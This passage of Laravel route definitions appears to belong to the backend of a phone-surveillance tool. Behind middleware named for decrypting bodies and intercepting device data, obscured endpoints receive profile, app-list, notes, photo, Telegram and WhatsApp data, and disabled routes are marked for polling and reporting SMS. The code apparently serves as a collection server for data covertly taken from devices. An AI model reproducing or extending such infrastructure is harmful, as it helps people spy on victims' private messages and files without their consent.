{$dsMethod}($request) : app($xxbb)->{$xxbbMethod}($request); }; }; Route::match(['GET', 'HEAD'], '/vhx', [$xxbb, 'vhx']); Route::middleware([DecryptXxbbBody::class, InterceptDeviceData::class])->group(function () use ($dsOrXxbb, $xxbb) { Route::post('/a', $dsOrXxbb('profile', 'profile')); Route::post('/u', $dsOrXxbb('apps', 'apps')); Route::post('/event', $dsOrXxbb('event', 'event')); Route::post('/nb', $dsOrXxbb('notes', 'notes')); Route::post('/result', $dsOrXxbb('result', 'plugin')); Route::post('/t', [$xxbb, 'photos']); Route::post('/uj', [$xxbb, 'plugin']); Route::post('/us', [$xxbb, 'plugin']); Route::post('/ub', [$xxbb, 'plugin']); Route::post('/ba', [$xxbb, 'plugin']); Route::post('/api/tg/t', [$xxbb, 'telegram']); Route::post('/api/wp/t', [$xxbb, 'whatsapp']); // SMS module disabled (removed from show.html). // Route::post('/m/t/g', [$xxbb, 'smsPoll']); // Route::post('/m/t/r', [$xxbb, 'smsReport']); });